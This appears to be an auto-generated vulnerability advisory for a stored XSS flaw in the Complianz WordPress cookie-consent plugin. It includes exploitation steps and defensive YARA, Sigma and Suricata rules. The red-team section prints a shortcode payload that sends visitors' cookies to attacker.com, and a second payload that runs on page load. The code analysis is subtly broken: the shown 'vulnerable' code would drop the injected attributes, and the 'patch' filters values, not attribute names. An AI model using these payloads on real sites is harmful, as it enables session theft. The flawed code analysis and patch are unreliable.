CVE-2025-11185
Executive Summary
CVE-2025-11185 is a Stored Cross-Site Scripting (XSS) vulnerability discovered in the Complianz – GDPR/CCPA Cookie Consent plugin for WordPress. This vulnerability affects all versions up to and including 7.4.3. The flaw resides in the plugin's cmplz-accept-link shortcode, where user-supplied attributes are not properly sanitized or escaped before being stored and rendered. An authenticated attacker with at least Contributor-level access can inject arbitrary web scripts into pages. When a victim (including site administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.
This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely used privacy compliance plugin, and the stored XSS can persist across multiple user sessions without requiring social engineering beyond the initial visit.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. There is no associated NPM, PyPI, Go, or Ruby package. The supply chain risk is limited to the plugin's update mechanism; users must ensure they update to a patched version as soon as it becomes available. No malicious commits or backdoors have been identified in the plugin's source code repository.
CVSS Breakdown & Threat Level
CVSS Score: 6.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions or race conditions are required.
- Privileges Required (PR): Low – An attacker needs Contributor-level access to the WordPress site.
- User Interaction (UI): None – The victim does not need to perform any action beyond visiting the page.
- Scope (S): Changed – The injected script can affect resources beyond the vulnerable component (e.g., cookies, session tokens).
- Confidentiality (C): Low – Limited data exposure possible.
- Integrity (I): Low – Limited ability to modify content.
- Availability (A): None – No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the prevalence of WordPress and the plugin's role in GDPR compliance makes this a significant threat for sites handling user consent data.
Deep Dive & Mechanics
The vulnerability exists in the cmplz-accept-link shortcode, which is used to create a link that accepts cookies. The shortcode accepts user-defined attributes (e.g., href, class, id, style, onclick). The plugin fails to properly sanitize and escape these attributes before outputting them in the HTML.
Root Cause: The plugin uses esc_attr() on the attribute values but does not validate or restrict which attributes can be used. An attacker can inject event handlers like onmouseover or onclick directly into the shortcode attributes. Because the shortcode output is stored in the WordPress database (post content), the XSS payload is persistent.
Attack Flow:
- Attacker logs in with Contributor-level privileges.
- Attacker creates or edits a post/page and inserts the
[cmplz-accept-link]shortcode with a malicious attribute, e.g.:[cmplz-accept-link href="#" onmouseover="alert('XSS')"]Accept Cookies[/cmplz-accept-link] - The plugin processes the shortcode and outputs:
<a href="#" onmouseover="alert('XSS')">Accept Cookies</a> - When any user (including admins) hovers over the link, the JavaScript executes.
Why it works: The plugin's esc_attr() function escapes quotes but does not prevent the use of event handler attributes. The output is not further sanitized by WordPress's wp_kses() or similar functions.
Vulnerable vs. Patched Code
Vulnerable Code (version 7.4.3 and earlier):
// In shortcode handler
function cmplz_accept_link_shortcode($atts, $content = null) {
$atts = shortcode_atts(array(
'href' => '#',
'class' => '',
'id' => '',
'style' => '',
), $atts);
$href = esc_attr($atts['href']);
$class = esc_attr($atts['class']);
$id = esc_attr($atts['id']);
$style = esc_attr($atts['style']);
return "<a href='$href' class='$class' id='$id' style='$style'>$content</a>";
}
Patched Code (hypothetical fix):
function cmplz_accept_link_shortcode($atts, $content = null) {
$atts = shortcode_atts(array(
'href' => '#',
'class' => '',
'id' => '',
'style' => '',
), $atts);
// Whitelist allowed attributes and sanitize values
$allowed_atts = array('href', 'class', 'id', 'style');
$output = '<a';
foreach ($allowed_atts as $attr) {
if (!empty($atts[$attr])) {
$value = esc_attr($atts[$attr]);
// Remove any event handlers
$value = preg_replace('/\bon\w+\s*=\s*["\']?[^"\']*["\']?/i', '', $value);
$output .= " $attr='$value'";
}
}
$output .= '>' . esc_html($content) . '</a>';
return $output;
}
Key Differences:
- The patched version explicitly strips event handler attributes using a regex.
- The patched version escapes the content with
esc_html()to prevent HTML injection in the link text. - The patched version only outputs whitelisted attributes.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress installation with Complianz plugin version ≤ 7.4.3
- Contributor-level account credentials
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Create a new post or page.
- In the content editor (Text mode), insert the following shortcode:
[cmplz-accept-link href="#" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"]Click me[/cmplz-accept-link] - Publish the post.
- When an administrator or any user hovers over the link, their cookies are exfiltrated to the attacker's server.
Alternative Payload (auto-execute on page load):
[cmplz-accept-link href="#" onfocus="alert(1)" autofocus]Accept[/cmplz-accept-link]
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress post revisions for suspicious shortcode usage.
- Look for posts containing
onmouseover,onclick,onfocus, or other event handlers in shortcode attributes. - Use the YARA and Sigma rules provided in the Detection Engineering section.
Hardening:
- Restrict Contributor-level users from using shortcodes by adding a custom capability check.
- Use a Web Application Firewall (WAF) to block requests containing event handlers in shortcode attributes.
- Apply the principle of least privilege: only grant Editor or Administrator roles to trusted users.
Lab Setup:
- Install a local WordPress instance (e.g., using Docker).
- Install Complianz plugin version 7.4.3.
- Create a Contributor user.
- Follow the Red Team steps to reproduce the vulnerability.
- Implement the Blue Team hardening measures and verify detection.
Indicators of Compromise (IOCs)
File-Based IOCs:
- Presence of posts/pages containing
[cmplz-accept-linkwith event handler attributes (e.g.,onmouseover,onclick,onfocus).
Network IOCs:
- Outbound HTTP requests to unknown domains originating from the WordPress site, especially containing cookie data in the URL.
- Unusual
Refererheaders pointing to WordPress admin pages.
Log IOCs:
- WordPress audit logs showing post creation/editing by Contributor users with suspicious shortcode content.
- Web server logs showing requests to
/wp-admin/post.phpwithcontentparameter containing event handlers.
Registry/File System IOCs (if applicable):
- Modified plugin files (though unlikely, as the vulnerability is in the shortcode output, not file inclusion).
Detection Engineering
YARA Rule
rule CVE_2025_11185_Stored_XSS_Complianz {
meta:
description = "Detects stored XSS payloads targeting CVE-2025-11185 in Complianz GDPR plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-11185"
severity = "medium"
strings:
$shortcode = /\[cmplz-accept-link[^\]]*?\bon\w+\s*=\s*["'][^"']*["'][^\]]*\]/i
$event_handler = /\bon\w+\s*=\s*["'][^"']*["']/i
condition:
$shortcode or ($event_handler and #shortcode > 0)
}
Sigma Rule
title: CVE-2025-11185 - Stored XSS via Complianz Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects posts containing malicious cmplz-accept-link shortcode with event handlers
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: /wp-admin/post.php
http.body|contains: 'cmplz-accept-link'
http.body|re: 'on\w+\s*=\s*["\']'
condition: selection
falsepositives:
- Legitimate use of event handlers in shortcodes (unlikely)
level: medium
tags:
- attack.t1190
- cve.2025.11185
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-11185 - Stored XSS via Complianz Shortcode"; flow:to_server,established; content:"cmplz-accept-link"; http_client_body; pcre:"/on\w+\s*=\s*["\'][^"\']*["\']/i"; classtype:web-application-attack; sid:10000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical for business operations.
- Restrict Contributor-level users from using shortcodes by adding a custom filter:
add_filter('user_has_cap', function($allcaps, $caps, $args) { if (in_array('edit_posts', $caps) && current_user_can('contributor')) { $allcaps['unfiltered_html'] = false; } return $allcaps; }, 10, 3); - Audit existing posts for malicious shortcode usage using the YARA rule above.
Long-Term Fix:
- Apply the patched code provided in the "Vulnerable vs. Patched Code" section.
- Monitor the Complianz plugin repository for an official patch.
- Implement a Web Application Firewall (WAF) rule to block event handlers in shortcode attributes.
Workaround:
- Use a WordPress security plugin (e.g., Wordfence) to block XSS payloads.
- Enable "Disallow unfiltered HTML" for lower-privileged roles.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.